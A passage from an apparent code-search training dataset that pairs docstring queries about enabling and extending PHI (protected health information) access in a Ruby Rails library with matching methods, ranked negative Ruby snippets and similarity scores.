"def __debug_method(mode, label, *methods)\n if mode == :input\n return unless DEBUG_INPUT\n elsif mode == :output\n return unless DEBUG_OUTPUT\n elsif mode.is_a?(String)\n methods.unshift(label)\n label = mode\n mode = nil\n else\n mode = nil\n end\n if label.is_a?(Symbol)\n methods.unshift(label)\n label = nil\n end\n label &&= \"#{label}.\"\n methods.flatten.each do |meth|\n module_eval do\n alias_method :\"original_#{meth}\", meth\n define_method(meth) do |*args|\n __debug_show(mode, *args, leader: \"#{label}#{meth}\")\n send(\"original_#{meth}\", *args)\n end\n end\n end\n nil\n end",
"def method_missing(meth,*a,&block)\n (methods[meth] ||= []) << a\n methods[meth].flatten!\n end",
"def helper_methods\n members - PREDICATE_FIELDS + PREDICATE_FIELDS.map { |f| \"#{f}?\".to_sym }\n end",
"def public_methods(all=true) end"
] |
[
"0.63509685",
"0.58697295",
"0.58480984",
"0.57343465",
"0.57175165",
"0.56587446",
"0.5622327",
"0.5601767",
"0.557728",
"0.55037534",
"0.54979783",
"0.5462688",
"0.5439841",
"0.5405657",
"0.5394823",
"0.5386332",
"0.5371919",
"0.53650427",
"0.53255963",
"0.5307336",
"0.5304386",
"0.5302006",
"0.52863747",
"0.528296",
"0.5274346",
"0.52605236",
"0.5213688",
"0.52063054",
"0.52024674",
"0.519478",
"0.51726127",
"0.5157439",
"0.5157439",
"0.5157439",
"0.5157439",
"0.5147735",
"0.5141144",
"0.5138414",
"0.51264614",
"0.5124547",
"0.5120496",
"0.51128465",
"0.5105254",
"0.5095661",
"0.509008",
"0.508568",
"0.5085157",
"0.5083396",
"0.5080015",
"0.50764984",
"0.50704914",
"0.5049929",
"0.5043694",
"0.5037592",
"0.5032661",
"0.50283295",
"0.50236773",
"0.5011969",
"0.50094074",
"0.5006317",
"0.50046366",
"0.49979073",
"0.49901396",
"0.4987121",
"0.49842623",
"0.49791855",
"0.49782643",
"0.49724767",
"0.4967678",
"0.49640176",
"0.4958845",
"0.49523705",
"0.49520254",
"0.49488005",
"0.4945445",
"0.4944412",
"0.49372008",
"0.493237",
"0.49252617",
"0.49196342",
"0.49186006",
"0.49169245",
"0.49117428",
"0.49092317",
"0.49083313",
"0.4905446",
"0.4905446",
"0.4898421",
"0.48930827",
"0.48906335",
"0.4883934",
"0.4881836",
"0.48810902",
"0.4880241",
"0.4880241",
"0.48748857",
"0.48670265",
"0.48624384",
"0.48581934",
"0.48564187"
] |
0.5869706
|
2
|
Set of methods which should be implicitly allowed if this object is allowed. The methods that are extended should return ActiveRecord models that also extend PhiAttrs.
|
def extend_phi_access(*methods)
self.__phi_extend_methods = methods.map(&:to_s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def safe_methods\n SafeClass.safe_methods_for(self)\n end",
"def allowed_to_save\n method_list = self.class.authenticates_saves_method_list\n if method_list.nil?\n # No method list, so it's allowed\n true\n elsif method_list.check :accessor => accessor, :model => self\n # Method list passed, so allowed\n true\n else\n # Method list failed, so denied\n false\n end\n end",
"def get_setter_methods\n if allowed_columns\n # SEQUEL5: Remove allowed_columns handling\n allowed_columns.map{|x| \"#{x}=\"}\n else\n meths = instance_methods.map(&:to_s).select{|l| l.end_with?('=')} - RESTRICTED_SETTER_METHODS\n meths -= Array(primary_key).map{|x| \"#{x}=\"} if primary_key && restrict_primary_key?\n meths\n end\n end",
"def allow(*methods)\n @requirements = @requirements.concat(methods).flatten\n self \n end",
"def setter_methods(only, except)\n only = only.nil? ? model.allowed_columns : only\n except = except.nil? ? model.restricted_columns : except\n if only\n only.map{|x| \"#{x}=\"}\n else\n meths = methods.collect{|x| x.to_s}.grep(/=\\z/) - RESTRICTED_SETTER_METHODS\n meths -= Array(primary_key).map{|x| \"#{x}=\"} if primary_key && model.restrict_primary_key?\n meths -= except.map{|x| \"#{x}=\"} if except\n meths\n end\n end",
"def allow_instance_methods(*methods)\n @allowed_methods = methods\n end",
"def protected_methods(all=true) end",
"def __phi_wrapped_methods\n excluded_methods = self.class.__phi_exclude_methods.to_a\n included_methods = self.class.__phi_include_methods.to_a\n\n attribute_names - excluded_methods + included_methods - [self.class.primary_key]\n end",
"def allowed_attributes\n self.new.attributes.keys.reject do |col|\n protected_attributes.include?(col)\n end\n end",
"def protected_methods(all=true)\n __getobj__.protected_methods(all) | super\n end",
"def define_attribute_methods\n return if generated_methods?\n property_names.each do |name|\n unless instance_method_already_implemented?(name)\n define_read_method(name.to_sym)\n end\n unless instance_method_already_implemented?(\"#{name}=\")\n define_write_method(name.to_sym)\n end\n unless instance_method_already_implemented?(\"#{name}?\")\n define_question_method(name)\n end\n end\n end",
"def get_setter_methods\n meths = instance_methods.map(&:to_s).select{|l| l.end_with?('=')} - RESTRICTED_SETTER_METHODS\n meths -= Array(primary_key).map{|x| \"#{x}=\"} if primary_key && restrict_primary_key?\n meths\n end",
"def check_only_methods\n end",
"def options( txn, *args )\n\t\tallowed_methods = self.allowed_methods( args )\n\t\ttxn.headers_out['Allow'] = allowed_methods.join(', ')\n\t\ttxn.content_type = RUBY_OBJECT_MIMETYPE\n\n\t\treturn allowed_methods\n\tend",
"def only(*methods)\r\n with_options(only: methods)\r\n end",
"def find_all_permission_methods\n self.methods.select do |method_name|\n method_name =~ /\\Acan_\\w+[^=]\\Z/\n end\n end",
"def writable_attributes\n return attributes if permitted_to?(WriteAllPrivilege)\n attributes.reject do |k,v|\n !allowed?(:write, k)\n end\n end",
"def allowed?\n raise NotImplementedError, 'please implement #allowed? '\\\n \"for #{self.class.name} which should decide if the action is allowed, \"\\\n 'based on the given attributes'\n end",
"def include_forbidden_attributes_protection?(node)\n node.receiver.to_s == 'ActiveRecord::Base' && node.message.to_s == 'send' &&\n node.arguments.all.map(&:to_s) == ['include', 'ActiveModel::ForbiddenAttributesProtection']\n end",
"def methods(inherited_too=true)\n ensure_apply_object_class\n target_names = @attr_methods.keys + @attr_aliases.keys\n target_names -= ['objectClass', Inflector.underscore('objectClass')]\n super + target_names.uniq.collect do |x|\n [x, \"#{x}=\", \"#{x}?\", \"#{x}_before_type_cast\"]\n end.flatten\n end",
"def respond_to?(method_name)\n if attrs.keys.include? method_name.to_s\n true\n else\n super(method_name)\n end\nend",
"def exemptions_collection\n super | public_send(self.class.attribute_name)\n end",
"def define_attribute_methods\n if super\n define_nilify_blank_methods\n end\n end",
"def gr_policy_setup\n begin\n # If there are no accessors for the model object's accessors,\n # they need to be defined so we can alias them\n define_attribute_methods\n rescue\n end\n \n if self.respond_to?(\"reflections\")\n\n # Make a dummy instance of the ActiveRecord class\n # so that we can read off its list of attributes\n dummy = eval(\"#{self}.new\")\n attrs = dummy.attribute_names\n\n # We need to override the accessors both for attributes\n # and reflections (i.e belongs_to, has_many, etc.)\n for var in reflections.keys + attrs do\n\n # Setter - \n self.class_eval(\"alias :old_#{var}= :#{var}=\")\n self.class_eval(\"\n define_method(:#{var}=) do |val|\n # We need the old value in order to make judgments \n # about whether or not certain accesses are allowed\n # In particular, the access control policies are attached\n # to the value being edited (unless its frozen) so \n # we need the object itself to decide if it can be changed.\n # In addition, the old object is used for comparisons\n # to distinguish complete edits from simple appends.\n\n\t\t target = old_#{var}\n\n # If the current version of the data is frozen, then\n # we can't judge it by its attached data policy and\n # instead must turn to its owner and its frozen_policy_store\n # then put that in target so it looks no different\n # than if it were not frozen\n\n\t\t if target.nil? || target.frozen?\n target = Object.new\n\t\t if !self.frozen_policy_store[:#{var}].nil?\n \t\t target.assign_policy(:write_access, \n self.frozen_policy_store[:#{var}][:write_access])\t\t\n\t\t end\n\t\t end\n \n # In order for an edit to be allowed, both the object\n # to be edited, and the object that owns the field that\n # is being edited must have edit permissions. The exception\n # to this is if the change is appending to the content and\n # appends are explicity allowed\n\n if gr_can_edit? and target.gr_can_edit?\n return self.send('old_#{var}=',val) #Edits allowed \n elsif target.gr_append_check? val\n if gr_can_append? and target.gr_can_append?\n return self.send('old_#{var}=',val)\n else\n return eval_violation(:append_access) if target.gr_can_append?\n return target.eval_violation(:append_access)\n end\n else\n # Edits not allowed and appends either not applicable\n # or also not allowed\n return eval_violation(:write_access) if target.gr_can_edit?\n return target.eval_violation(:write_access)\n end\n\t end\")\n\n # Getter\n self.class_eval(\"alias :old_#{var} :#{var}\")\n self.class_eval(\"\n define_method(:#{var}) do\n \n # Actually get the value in question, but we only\n # return it if read access is allowed. We also\n # need this value to perform checks against the\n # access control policy\n\n \t target = old_#{var}\n\n # We assume that having a value of nil tells no one\n # any particularly useful information, so if the \n # object is nil, we just skip the rest and return it.\n\n\t return if target.nil?\n \n # If the data being returned is an array, then we need\n # to do some extra checks. First, the array cannot \n # contain any objects which are themselves hidden. \n # Second, we need to check if the Array is wrapped\n # with a Rails proxy that will allow it to make changes\n # to the database after the leaving this function. If\n # this is the case, we must wrap the proxy with one of\n # our proxies (AssociationProxyWrapper) so that methods\n # called on the returned proxied array cannot change\n # the database if not allowed by the access control policies\n\n isproxy = target.respond_to?('proxy_reflection')\n if target.is_a?(Array)\n new_array = visible_array(target)\n if isproxy\n target.target = new_array\n target = AssociationProxyWrapper.new(target,self)\n\n # Pull the appropriate policy from the owner of the\n # field's plural policy store (see GObject.rb)\n\n hsh = self.plural_policy_store[:#{var}]\n if !hsh.nil?\n hsh.each do |policy, func|\n target.assign_policy(policy, func)\n end\n end\n else\n target = new_array\n end\n end\n \n # If the object in question is visible, then we can return it \n\t return target if (target.gr_is_visible? && self.gr_is_visible?)\n\n # If the target is visible, then it must be the owner that\n # is hidden, so evaluate the violation there\n return eval_violation(:read_access) if target.gr_is_visible?\n\n # If this line is reached, then the visibility issue\n # lies with the target, so the violation should be \n # evaluated on it\n return target.eval_violation(:read_access)\n\t end\")\n \n # Our current implementation overrides only the\n # default accessors, however, [var]_before_type_cast\n # offers another route to the raw data that we need \n # to cover. For now, the two accessors are made\n # identical.\n \n # TODO: Distinguish the _before_type_cast accessor from\n # the normal getter so that they both preserve the security\n # policies, and their intended content formatting differences\n self.class_eval(\"alias :#{var}_before_type_cast #{var}\")\n end\n end\n end",
"def define_attribute_methods # :nodoc:\n return false if @attribute_methods_generated\n # Use a mutex; we don't want two threads simultaneously trying to define\n # attribute methods.\n generated_attribute_methods.synchronize do\n return false if @attribute_methods_generated\n superclass.define_attribute_methods unless base_class?\n super(attribute_names)\n @attribute_methods_generated = true\n end\n end",
"def not_sandboxed_methods(include_superclasses = false, allowed_mixins=[], *disallowed_methods)\n\n __the_methods_to_check = public_instance_methods(false)\n puts \"#{self.name}: direct: #{__the_methods_to_check.inspect}\" if $DEBUG\n if include_superclasses\n clz = self.superclass\n while !clz.nil?\n unless clz == Object || (defined? BasicObject && clz == BasicObject)\n puts \"#{self.name}: #{clz.name}: #{clz.public_instance_methods(false).inspect}\" if $DEBUG\n __the_methods_to_check += clz.public_instance_methods(false)\n end\n clz = clz.superclass\n end\n \n if allowed_mixins.length > 0\n #we include any mixins\n for m in self.included_modules\n if allowed_mixins.include?(m)\n puts \"#{self.name}: #{m.name}: #{m.public_instance_methods(false).inspect}\" if $DEBUG\n __the_methods_to_check += m.public_instance_methods(false)\n end\n end\n end\n end\n \n __the_methods_to_check << \"nil?\".intern\n \n __the_methods_to_check.uniq!\n \n unless disallowed_methods.nil? || disallowed_methods.length == 0\n not_bang = false\n if disallowed_methods.include?(:bang_methods) #just remove all xxx! methods that modify in place\n __the_methods_to_check.reject! { |meth| meth.to_s[-1, 1] == \"!\"}\n not_bang = true\n end\n unless not_bang || disallowed_methods.length > 1\n __the_methods_to_check.reject! { |meth| disallowed_methods.include?(meth)}\n end\n end\n \n puts \"#{self.name}: #{__the_methods_to_check.inspect}\" if $DEBUG\n \n sandboxed_methods(*__the_methods_to_check)\n \n \n \n end",
"def allowed?() raise NotImplementedError end",
"def define_attribute_methods\n super\n self.generated_methods.each do |method|\n if method.to_s =~ Regexp.new(\"^#{self.to_s.underscore}__\")\n new_method_name = $~.post_match\n alias_method(new_method_name, method)\n private method\n self.generated_methods << new_method_name\n end\n end\n end",
"def define_attribute_methods(attrs, access_level)\n self.attribute_method_module.module_eval do\n attrs.each do |attr|\n # Normalize for attributes without types\n attr_name = Array.wrap(attr).first\n # Define reader and huh methods\n self.module_eval <<-EOE, __FILE__, __LINE__ + 1\n def #{attr_name}\n read_attribute(:#{attr_name})\n end\n\n def #{attr_name}?\n read_attribute(:#{attr_name}).present?\n end\n EOE\n # Define a writer if this is public\n if access_level == :public\n self.module_eval <<-EOE, __FILE__, __LINE__ + 1\n def #{attr_name}=(new_val)\n write_attribute(:#{attr_name}, new_val)\n end\n EOE\n end\n end\n end\n\n # Now we get all the attribute names as symbols\n # and define_attribute_methods for dirty tracking\n attrs = attrs.collect do |a|\n Array.wrap(a).first.to_sym\n end\n\n super(attrs)\n true\n end",
"def setable_permissions\n setable_permissions = Erp::AccessControl.permissions - Erp::AccessControl.public_permissions\n setable_permissions -= Erp::AccessControl.members_only_permissions if builtin == BUILTIN_NON_MEMBER\n setable_permissions -= Erp::AccessControl.loggedin_only_permissions if builtin == BUILTIN_ANONYMOUS\n setable_permissions\n end",
"def potentially_unused_methods\n stored_methods = DeadCodeDetector.config.storage.get(self.class.record_key(klass.name))\n\n stored_methods & default_methods.map(&:to_s)\n end",
"def setter_methods(type)\n if type == :default && !@singleton_setter_added\n return model.setter_methods\n end\n\n meths = methods.map(&:to_s).select{|l| l.end_with?('=')} - RESTRICTED_SETTER_METHODS\n meths -= Array(primary_key).map{|x| \"#{x}=\"} if primary_key && model.restrict_primary_key?\n meths\n end",
"def only(*onlies)\n result = self.class.new(@klass, table)\n result.default_scoped = default_scoped\n\n ((Relation::ASSOCIATION_METHODS + Relation::MULTI_VALUE_METHODS) & onlies).each do |method|\n result.send(:\"#{method}_values=\", send(:\"#{method}_values\"))\n end\n\n (Relation::SINGLE_VALUE_METHODS & onlies).each do |method|\n result.send(:\"#{method}_value=\", send(:\"#{method}_value\"))\n end\n\n # Apply scope extension modules\n result.send(:apply_modules, extensions)\n\n result\n end",
"def transform_attrs_methods\n @transform_attrs_methods ||= Module.new.tap { |x| prepend x }\n end",
"def allowed; DEFAULTS[:allowed].merge(self[:allowed] || {}); end",
"def attributes\n @allowed_attributes\n end",
"def dangerous_attribute_method?(method_name)\n active_record = ActiveRecord::Base\n superclass = ActiveRecord::Base.superclass\n\n (active_record.method_defined?(method_name) ||\n active_record.private_method_defined?(method_name)) &&\n !superclass.method_defined?(method_name) &&\n !superclass.private_method_defined?(method_name)\n end",
"def check_attribute_method_support(name, method)\n raise \"Type #{key_objects[name].type} doesn't support #{method}\" unless @attribute_objects[name].respond_to?(method.to_sym)\n true\n end",
"def attribute_method?(attr)\n super || attributes.keys.include?(attr)\n end",
"def respond_to?(method, include_private = false)\n super || model.respond_to?(method) || relationships.has_key?(method)\n end",
"def possible_eval_methods\n valid_criteria[attribute_name].nil? ? DEFAULT_EVAL_METHODS : valid_criteria[attribute_name][\"operators\"].keys.map{|k| [k.gsub(\"_\", \" \"), k]}\n end",
"def respond_to_missing?(method, include_private = false)\n attributes.respond_to?(method, false)\n end",
"def create_attribute_methods_on(model)\n #model.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n model.class_eval %(\n def self.values_for_#{attribute}\n self.bitmask_definitions[:#{attribute}].values\n end\n\n def self.values_with_bitmask_for_#{attribute}\n ret = []\n self.bitmask_definitions[:#{attribute}].values.each_with_index{|v,k| ret.push [v,k]}\n ret\n end\n )\n end",
"def define_attribute_methods\n return if attribute_methods_generated?\n @attributes.each_pair do |k,v|\n self.class.module_eval %Q?\n def #{k}\n read_attribute :#{k}\n end\n def #{k}=(value)\n write_attribute :#{k},value\n end\n ?\n end\n self.class.attribute_methods_generated = true\n end",
"def dangerous_attribute_method?(name) # :nodoc:\n ::ActiveEntity::AttributeMethods.dangerous_attribute_methods.include?(name.to_s)\n end",
"def fight_methods\n self.class.instance_methods(false).\n reject{|a| a == :choose_attack || a == :fight_methods }\n end",
"def __phi_extended_methods\n self.class.__phi_extend_methods.to_a\n end",
"def showable_attributes\n return attributes if permitted_to?(WriteAllPrivilege)\n attributes.reject do |k,v|\n !allowed?(:read, k, true)\n end\n end",
"def method_missing(method, *args, &block)\n unless self.class.attribute_methods_generated?\n self.class.define_attribute_methods\n\n if respond_to_without_attributes?(method)\n send(method, *args, &block)\n else\n super\n end\n else\n super\n end\n end",
"def method_missing(method, *args, &block)\n unless self.class.attribute_methods_generated?\n self.class.define_attribute_methods\n\n if respond_to_without_attributes?(method)\n send(method, *args, &block)\n else\n super\n end\n else\n super\n end\n end",
"def methods\n super + DELEGATED_METHODS\n end",
"def methods(all=true)\n __getobj__.methods(all) | super\n end",
"def valid_setters\n methods = ScheduledActivity.instance_methods\n @valid_setters ||= methods.select do |m|\n methods.include?(:\"#{m}=\")\n end\n end",
"def all_signed_methods\n HasType.method_names_where(self) {|_| true }\n end",
"def all_access_to(options = {})\n options.assert_valid_keys(:only, :except)\n if options.has_key?(:only)\n self.public_actions = [options[:only]].flatten.compact.collect{ |a| a.to_sym }\n end\n if options.has_key?(:except)\n instance_methods_array = instance_methods(false).collect{ |a| a.to_sym }\n opts = [options[:except]].flatten.compact.collect{ |a| a.to_sym }\n self.public_actions = opts - instance_methods_array\n self.private_actions = opts\n end\n end",
"def setter_methods(type)\n if type == :default\n if !@singleton_setter_added || model.allowed_columns # SEQUEL5: Remove model.allowed_columns\n return model.setter_methods\n end\n end\n\n if type.is_a?(Array)\n type.map{|x| \"#{x}=\"}\n else\n meths = methods.map(&:to_s).select{|l| l.end_with?('=')} - RESTRICTED_SETTER_METHODS\n meths -= Array(primary_key).map{|x| \"#{x}=\"} if type != :all && primary_key && model.restrict_primary_key?\n meths\n end\n end",
"def restricted_attributes\n if model.respond_to?(:restricted_alchemy_resource_attributes)\n model.restricted_alchemy_resource_attributes\n else\n []\n end\n end",
"def allowed?; true end",
"def inherited_instance_methods\n self.instance_methods.select{|m| self.instance_method(m).owner != self }\n end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def set_general_methods\n @methods_present ||= false\n unless @methods_present\n set_media_links_relation\n set_attributes\n set_validate_methods\n set_callbacks\n end\n @methods_present = true\n end",
"def inherited_methods\n self.methods.select{|m| self.method(m).owner != self }\n end",
"def attributes_protected_by_default\n []\n end",
"def attribute_methods_generated?\n self.class.attribute_methods_generated\n end",
"def deny_all!(kind = :all, attributes = {})\n allow_all(kind, attributes).save\n end",
"def respond_to?(method, include_priv = false)\n if @attributes.nil?\n return super\n elsif attr_name = self.class.column_methods_hash[method.to_sym]\n return true if @attributes.include?(attr_name) || attr_name == self.class.primary_key\n return false if self.class.read_methods.include?(attr_name)\n elsif @attributes.include?(method.to_s)\n return true\n elsif md = self.class.match_attribute_method?(method.to_s)\n return true if @attributes.include?(md.pre_match)\n end\n # super must be called at the end of the method, because the inherited respond_to?\n # would return true for generated readers, even if the attribute wasn't present\n super\n end",
"def perms_set\n PRIV_FLAG_COLUMNS.select { |pfc| self[pfc] == 'Y' }.to_set\n end",
"def exposed_methods\n @exposed_methods ||= from_superclass(:exposed_methods, {}).dup\n end",
"def policy(*meths)\n opts = meths.extract_options!\n policy_name = opts[:policy] || :policy\n\n if_conditionals = Array(opts[:if])\n unless_conditionals = Array(opts[:unless])\n\n meths.each do |meth|\n normalized_meth = if normalized_meth.to_s.end_with?(\"?\")\n meth.to_s[0...-1]\n else\n meth\n end\n\n auth_method_name = :\"authorize_#{policy_name}_#{normalized_meth}\"\n\n define_method auth_method_name do\n run_it = true\n # http://guides.rubyonrails.org/active_record_validations.html#combining-validation-conditions\n\n # The validation only runs when all the :if conditions evaluate to true\n if if_conditionals.present?\n run_it &&= if_conditionals.all? { |i| send(i) }\n end\n\n # and none of the :unless conditions are evaluated to true.\n if unless_conditionals.present?\n run_it &&= unless_conditionals.none? { |u| send(u) }\n end\n\n return unless run_it\n\n p = send(policy_name)\n unauthorized! unless p\n\n result = if p.respond_to?(\"#{normalized_meth}?\")\n p.send(\"#{normalized_meth}?\")\n else\n p.send(normalized_meth)\n end\n\n unauthorized! opts[:error] unless result\n end\n\n authorize auth_method_name\n end\n end",
"def patched_methods\n @patched_methods ||= {}.with_indifferent_access\n end",
"def allowed_signature_methods\n SignableRequest::SIGNATURE_METHODS.keys\n end",
"def define_predicate_methods_for_attributes\n @attributes.each do |key, _|\n method_name = \"#{key}?\"\n\n next if self.class.method_defined?(method_name.to_sym)\n\n self.class.send :define_method, method_name do\n @attributes[key].present?\n end\n end\n end",
"def methods(*args)\n (super + analyser.delegatable_methods).uniq\n end",
"def model_actions(perms)\n ActiveRecord::Base.descendants.each do |m|\n next unless m.respond_to?(:permission_definition)\n next if m.permission_definition.nil? || m.permission_definition == {}\n perms << PermissionsGenerator.new(m)\n end\n return perms\nend",
"def method_missing(meth, *args) # :nodoc:\n if stems.size == 1 and stems.only.respond_to? meth then\n stems.only.send meth, *args\n else\n super\n end\n end",
"def restrict_method(m)\n m = m.intern if m.is_a?(String)\n\n raise ArgumentError, _(\"'%{m}' is not an allowed value for method directive\") % { m: m } unless ALL.include?(m)\n\n # if we were allowing all methods, then starts from scratch\n if @methods === ALL\n @methods = []\n end\n\n raise ArgumentError, _(\"'%{m}' is already in the '%{name}' ACL\") % { m: m, name: name } if @methods.include?(m)\n\n @methods << m\n end",
"def private_methods(all=true) end",
"def define_attribute_methods\n return if attribute_methods_generated?\n @attributes.keys.sort.each do |k|\n # ajay Singh --> skip the loop if attribute is null\n next if !k.present?\n self.class.module_eval %Q?\n def #{k}\n read_attribute :#{k}\n end\n def #{k}=(value)\n write_attribute :#{k},value\n end\n def #{k}\\?\n has_attribute\\? :#{k}\n end\n ?\n end\n \n # return the (polymorphic) parent record corresponding to the parent_id and parent_type attributes\n # (an example of parent polymorphism can be found in the Note module)\n if (@attributes.keys.include? 'parent_id') && (@attributes.keys.include? 'parent_type')\n self.class.module_eval %Q?\n def parent\n (self.class.session.namespace_const.const_get @attributes['parent_type'].singularize).find(@attributes['parent_id'])\n end\n ?\n end\n \n self.class.attribute_methods_generated = true\n end",
"def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end",
"def allowable\n return @allowable if @allowable\n\n @allowable = parent_allowables\n end",
"def method_missing(method, *args)\n # Break if first argument was not a model record\n return unless args[0].instance_of? model\n\n # Super if allowed_methods not defined or in not included in array\n am = self.class.allowed_methods\n super if am.nil? || !am.include?(method)\n\n resend_method(method, args)\n end",
"def protected_instance_methods(include_super=true) end",
"def can\n Rye::Cmd.instance_methods\n end",
"def filter_methods; end",
"def deny_all(kind = :all, attributes = {})\n new attributes.merge(:kind => kind, :name => 'all', :allow => false)\n end",
"def context_methods\n get_whitelist + [\n :on, :set, :get, :stop, :stopped?, :method_missing, :data, :d\n ]\n end",
"def allowed_methods( path_components )\n\t\ttype = path_components.empty? ? :collection : :single\n\t\tallowed = HTTP_METHOD_MAPPING[ type ].keys.\n\t\t\tfind_all {|msym| self.respond_to?(msym) }.\n\t\t\tinject([]) {|ary,msym| ary << HTTP_METHOD_MAPPING[type][msym]; ary }\n\n\t\tallowed += ['HEAD'] if allowed.include?( 'GET' )\n\t\treturn allowed.uniq.sort\n\tend",
"def filtered_methods\n @filtered_methods ||= []\n end",
"def methods\n super + property.keys.map { |v| [\"configure_#{v}\".to_sym, \"request_#{v}\".to_sym] }.flatten\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def decorated_methods?\n !decorated_methods[:class_methods].empty? ||\n !decorated_methods[:instance_methods].empty?\n end",
"def disallow(*methods)\n methods.each do |meth|\n define_method(meth) do |*, **|\n raise \"#{meth} not expected to be called\" if not_deployed?\n end\n end\nend",
"def attributes_protected_by_default\n []\n end",
"def exclude\n all - methods\n end",
"def allowed_auth_methods; end",
"def options \n\t return self.methods - Object.instance_methods\n\t end",
"def standard_authorized_user_rights\n public_access + protected_access \n end",
"def _hr_create_methods!(opts={}) # @private\n return if self.class.to_s == 'HyperResource::Attributes'\n return if self._resource.class.to_s == 'HyperResource'\n return if self.class.send(\n :class_variable_defined?, :@@_hr_created_attributes_methods)\n\n self.keys.each do |attr|\n attr_sym = attr.to_sym\n attr_eq_sym = \"#{attr}=\".to_sym\n\n self.class.send(:define_method, attr_sym) do\n self[attr]\n end\n self.class.send(:define_method, attr_eq_sym) do |val|\n self[attr] = val\n end\n\n ## Don't stomp on _resource's methods\n unless _resource.respond_to?(attr_sym)\n _resource.class.send(:define_method, attr_sym) do\n attributes.send(attr_sym)\n end\n end\n unless _resource.respond_to?(attr_eq_sym)\n _resource.class.send(:define_method, attr_eq_sym) do |val|\n attributes.send(attr_eq_sym, val)\n end\n end\n end\n\n ## This is a good time to mark this object as not-changed\n _hr_clear_changed\n\n self.class.send(:class_variable_set, :@@_hr_created_attributes_methods, true) \n end",
"def ignore_attributes\n read_inheritable_attribute(:attr_ignore) || []\n end"
] |
[
"0.6714027",
"0.6531265",
"0.64482296",
"0.6392574",
"0.636174",
"0.63357556",
"0.63107985",
"0.61518043",
"0.6082694",
"0.60762614",
"0.6074336",
"0.6058777",
"0.6048717",
"0.6031552",
"0.5993624",
"0.5960358",
"0.5921927",
"0.58972996",
"0.5878276",
"0.58099854",
"0.57792413",
"0.57634276",
"0.57540417",
"0.57459956",
"0.5736683",
"0.57304674",
"0.56894594",
"0.56792706",
"0.56732166",
"0.5668976",
"0.566323",
"0.56412375",
"0.5632075",
"0.5628412",
"0.5614943",
"0.56095123",
"0.56001556",
"0.55957365",
"0.5584848",
"0.55765593",
"0.5554356",
"0.5546365",
"0.55355877",
"0.5533702",
"0.55314493",
"0.5529769",
"0.5529189",
"0.55270785",
"0.5512964",
"0.5512964",
"0.5510795",
"0.5506206",
"0.5504389",
"0.5492915",
"0.547549",
"0.5474637",
"0.54743695",
"0.5472289",
"0.54716265",
"0.54540825",
"0.54540825",
"0.5448772",
"0.5442099",
"0.5434794",
"0.5422671",
"0.5416199",
"0.538805",
"0.5387845",
"0.53678393",
"0.5346977",
"0.53459674",
"0.53455985",
"0.5338006",
"0.53363234",
"0.53198105",
"0.531717",
"0.5311702",
"0.53108644",
"0.5301896",
"0.5298406",
"0.52903557",
"0.5287642",
"0.5281887",
"0.5270606",
"0.5269541",
"0.526163",
"0.52580976",
"0.5250011",
"0.5241765",
"0.52412915",
"0.5239494",
"0.5238417",
"0.52364385",
"0.52343374",
"0.5222514",
"0.5215267",
"0.5210471",
"0.52087194",
"0.5207494",
"0.5202011"
] |
0.52456874
|
88
|
Enable PHI access for any instance of this class.
|
def allow_phi!(user_id = nil, reason = nil)
raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?
user_id ||= current_user
reason ||= i18n_reason
raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?
__phi_stack.push({
phi_access_allowed: true,
user_id: user_id,
reason: reason
})
PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do
PhiAttrs::Logger.info("PHI Access Enabled for '#{user_id}': #{reason}")
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end",
"def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end",
"def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end",
"def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end",
"def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end",
"def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end",
"def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end",
